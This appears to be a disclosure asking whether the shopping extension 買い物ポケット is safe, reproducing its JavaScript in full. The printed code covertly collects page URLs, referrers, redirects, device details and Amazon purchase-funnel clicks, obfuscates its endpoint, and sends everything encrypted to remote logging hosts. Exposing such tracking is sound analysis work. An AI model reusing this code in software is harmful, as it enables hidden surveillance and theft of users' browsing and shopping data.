Is 買い物ポケット safe?

window.executeMljs = function () {  function decodeBase36Pairs(value) {    let output = "";    let pair = "";    for (let index = 0; index < value.length; index++) {      pair += value.charAt(index);      if (pair.length === 2) {        output += String.fromCharCode(parseInt(pair, 36) - 70);        pair = "";      }    }    return output;  }  async function collectPageContext() {    const context = {};    context.page_title = document.title;    context.color = window.screen ? window.screen.colorDepth + "-bit" : "-";    context.path = document.location.pathname;    context.log_category = "page_view";    const viewportHeight = document.documentElement.clientHeight < window.innerHeight ? window.innerHeight : document.documentElement.clientHeight;    const viewportWidth = document.documentElement.clientWidth < window.innerWidth ? window.innerWidth : document.documentElement.clientWidth;    context.viewport = viewportWidth + "x" + viewportHeight;    context.charset = (document.characterSet || document.charset || "-").toLowerCase();    context.referrer = document.referrer;    context.screen = window.screen ? window.screen.width + "x" + window.screen.height : "-";    context.host = document.location.host;    context.url = document.location.href.split("#")[0];    context.language = ((navigator && (navigator.language || navigator.browserLanguage)) || "-").toLowerCase();    try {      const userAgentReply = await chrome.runtime.sendMessage({ action: "getUserAgent" });      context.ua = userAgentReply && userAgentReply.userAgent ? userAgentReply.userAgent : "Unknown";      const os = detectOs(navigator);      context.os = os.os;      context.os_version = os.version;      context.browser = "Unknown";      context.browser_version = "Unknown";      const browserReply = await chrome.runtime.sendMessage({ action: "getBrowserInfo" });      if (browserReply && browserReply.browser && browserReply.version) {        context.browser = browserReply.browser;        context.browser_version = browserReply.version;      }    } catch (error) {}    return context;  }  async function sendPageContext() {    try {      const context = await collectPageContext();      const action = decodeBase36Pairs("4z4y4w55"); // mljs      const redirects = await chrome.runtime.sendMessage({ action: "getRedirectInfo" });      if (context.browser === "Edge" && redirects?.redirects && Array.isArray(redirects.redirects)) {        for (const redirect of redirects.redirects) {          if (redirect.fromUrl && redirect.toUrl) {            await chrome.runtime.sendMessage({ action, context: { ...context, referrer: redirect.fromUrl, url: redirect.toUrl, log_category: "redirect" } });          }        }      }      if (redirects?.redirects && redirects.redirects.length > 0) {        await chrome.runtime.sendMessage({ action: "clearRedirectInfo" });      }      await chrome.runtime.sendMessage({ action, context });    } catch (error) {}  }  if (document.readyState === "loading") {    document.addEventListener("DOMContentLoaded", () => sendPageContext().catch(console.error));  } else {    sendPageContext().catch(console.error);  }};

function decodeBase36Pairs(value) {  let output = "";  let pair = "";  for (let index = 0; index < value.length; index++) {    pair += value.charAt(index);    if (pair.length === 2) {      output += String.fromCharCode(parseInt(pair, 36) - 70);      pair = "";    }  }  return output;}const fieldMap = {  page_title: "pa",  color: "co",  viewport: "vi",  charset: "ch",  referrer: "re",  screen: "sc",  host: "ho",  url: "ur",  language: "la",  os: "os",  os_version: "ov",  browser: "br",  browser_version: "bv",  uuid: "uu",  extension_version: "ev",  log_category: "lc",  request_uuid: "ru"};const maxLengths = { maxUrlBytes: 2200, maxTitleBytes: 600, truncateOnCombinedOverflow: true };const sendIntervalMs = 172800000;async function sendMljs(context) {  try {    const dateKey = decodeBase36Pairs("4z4y4w55374q4n564r"); // mljs-date    let lastSend = (await chrome.storage.local.get([dateKey]))[dateKey] ?? null;    if (!lastSend) {      lastSend = String(Date.now());      await chrome.storage.local.set({ [dateKey]: lastSend });    }    if (parseInt(lastSend) + sendIntervalMs - Date.now() > 0) return;    const idKey = decodeBase36Pairs("4z4y4w55374v4q"); // mljs-id    const requestUuidKey = decodeBase36Pairs("544r53574r55564l57574v4q"); // request_uuid    let mljsId = (await chrome.storage.local.get([idKey]))[idKey] ?? null;    let requestUuid = (await chrome.storage.local.get([requestUuidKey]))[requestUuidKey] ?? null;    if (!mljsId) {      mljsId = crypto.randomUUID();      await chrome.storage.local.set({ [idKey]: mljsId });    }    const payload = mapFields({ ...truncateContext(context, maxLengths), uuid: mljsId, extension_version: chrome.runtime.getManifest().version, request_uuid: requestUuid }, fieldMap);    const plaintext = JSON.stringify(payload);    const publicKey = await importRsaPublicKey("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmfG3TovkNBVgNw10Cqoj\r\n/iO7BGzRLmp3DXveVHQhwJo7myjomQ3f8raIys4QP7ywz5qTis0mq2YXgHFhzIVC\r\nDRQblBW3LU5GiXwo8popqLexGl0vhzXxDAfGHVej7e/5Hbeqt/kNIuU2WGmHjG/W\r\nb8S65gPICZR6f2Mqx2PrD3fpjz+X6j94Nrj6dnEY6soMHPzJ3Dz1mO7a8GMeUclU\r\n1dStN83BDXqQh5hxGtFR1e7eNXUDj1qJuQ1xNGhv2bxTiXLpy+WAA816XfTl8fwD\r\nlBH0Dhozq/mR2qJ34P9ysvpjV7h4Eaqfkb4/9IoTMnpapL0hiXMbO9h2UxOSQoD2\r\n+QIDAQAB\r\n");    const aesKey = await crypto.subtle.generateKey({ name: "AES-CBC", length: 256 }, true, ["encrypt", "decrypt"]);    const wrappedKey = await crypto.subtle.encrypt({ name: "RSA-OAEP" }, publicKey, await crypto.subtle.exportKey("raw", aesKey));    const encrypted = await encryptAesCbc(aesKey, plaintext);    const query = `?i=${base64Url(encrypted.iv)}&k=${base64Url(wrappedKey)}&d=${base64Url(encrypted.encryptedMessage)}&c=1`;    const url = decodeBase36Pairs("4u565652553k39394y4s553d384t4z51374v50554v4t4u56384w52") + query;    fetch(url, {      method: decodeBase36Pairs("3x3v4a"),      headers: { [decodeBase36Pairs("3t5150564r5056374a5b524r")]: decodeBase36Pairs("4n52524y4v4p4n564v5150395a37595959374s51544z3757544y4r504p514q4r4q") }    });  } catch (error) {    return;  }}chrome.runtime.onMessage.addListener((message, sender, respond) => {  if (message?.[decodeBase36Pairs("4n4p564v5150")] === decodeBase36Pairs("4z4y4w55")) {    sendMljs(message?.context ?? {}).then();    respond();    return true;  }});

// Build a flat ec_log record by overlaying://   1) the context set in init() (panelist_id, url, host, title, UA, lang, version)//   2) the per-event fields the caller passed (entry_type, product_*, price, etc.)// Then POST it as a TreasureData event to the `ec_log` table.async trackEcLog(eventFields) {  if (this.setting == null) {    log("TreasureData not initialized");    return;  }  const record = {    parent_id: null,    distributor_id: null,    panelist_id: null,           // overwritten by contextForEcLog → kaipoke_uuid    url: null,                   // overwritten → window.location.href    entry_type: null,            // PRODUCT_PAGE_VIEW | ADD_PRODUCT_TO_CART | CHECKOUT_PRODUCT | CHECKOUT_CONFIRM    title: null,                 // document.title    language: null,              // navigator.language    product_name: null,    product_code: null,          // Amazon ASIN / Yahoo auction ID    available: null,    quantity: null,    currency: null,    price: null,    price_details: null,    currency_details: null,    total_price: null,    total_price_currency: null,    keyword: null,    user_agent: null,            // navigator.userAgent    accept_language: null,       // JSON.stringify(navigator.languages)    user_country_code: null,    request_country_code: null,    timestamp: null,             // (new Date).toUTCString()    host: null,                  // new URL(location.href).hostname    service: null,               // 'chrome' | 'edge' | 'safari'    version: null,               // extension manifest version    request_uuid: null,  };  Object.assign(record, this.contextForEcLog);  Object.assign(record, eventFields);  await this.trackEvent({    database: this.setting.treasureData.database,    // from /bar/init    writeKey: this.setting.treasureData.writerKey,   // from /bar/init    table: "ec_log",    withoutBaseData: true,  }, record);}

// Fires once per Amazon product page load, after the price-comparison// scraper has resolved the ASIN (`asin`) and price (`price`).function reportProductPageView(td, doc, asin, price) {  try {    if (!doc) return;    const productName = doc.getElementById("productTitle")?.textContent;    if (!asin || !productName) return;    td.trackEcLog({      entry_type:   "PRODUCT_PAGE_VIEW",      product_code: asin,      product_name: productName.trim(),      price:        price,      quantity:     0,      currency:     "JPY",    });  } catch {}}

// Wires click handlers onto the Amazon purchase-funnel buttons.// On add-to-cart click: ADD_PRODUCT_TO_CART event.// On buy-now / 1-click: CHECKOUT_CONFIRM + CHECKOUT_PRODUCT events with//   total_price = unit price × quantity.function wirePurchaseFunnel(td, doc, asin, price) {  try {    if (!doc) return;    const productName = doc.getElementById("productTitle")?.textContent;    if (!asin || !productName) return;    const addBtn   = doc.getElementById("add-to-cart-button");    const buyBtn   = doc.getElementById("buy-now-button");    const oneClick = doc.getElementById("one-click-button");    if (addBtn) {      addBtn.addEventListener("click", () => {        const qty = Number(doc.getElementById("quantity")?.value ?? 1);        td.trackEcLog({          entry_type:   "ADD_PRODUCT_TO_CART",          product_code: asin,          product_name: productName.trim(),          price, quantity: qty, currency: "JPY",        });      });    }    [buyBtn, oneClick].forEach(btn => {      if (!btn) return;      btn.addEventListener("click", () => {        const qty = Number(doc.getElementById("quantity")?.value ?? 1);        const totals = (price && qty)          ? { total_price: price * qty, total_price_currency: "JPY" }          : {};        td.trackEcLog({          entry_type:   "CHECKOUT_CONFIRM",          product_code: asin,          product_name: productName.trim(),          price, quantity: qty, currency: "JPY",          ...totals,        });        td.trackEcLog({          entry_type:   "CHECKOUT_PRODUCT",          product_code: asin,          product_name: productName.trim(),          price, quantity: qty, currency: "JPY",        });      });    });  } catch {}}

// Single fetch() to the TreasureData JS-SDK ingestion endpoint.// Database and writeKey are server-supplied (api.kaipoke.jp/bar/init);// table is hard-coded by the caller ('ec_log', 'access_log',// 'yahoo_auction_research', etc.).async function postToTreasureData({ data, options }) {  const enriched = merge(data, { version: "3.53.0" });  const headers = {    "Accept":          "application/json",    "Content-Type":    "application/json",    "X-TD-Write-Key": options.writeKey,  };  await fetch(    `https://log.estart.jp/js/v3/event/${options.database}/${options.table}`,    { method: "POST", headers, body: JSON.stringify(enriched) }  );}

// After bar/init response is stored:if (initSettings.modules.mljs && typeof executeMljs !== 'undefined') {  console.log('call executeMljs (main): ' + new Date().toString());  executeMljs(); // fires per-page data collection on every tab load}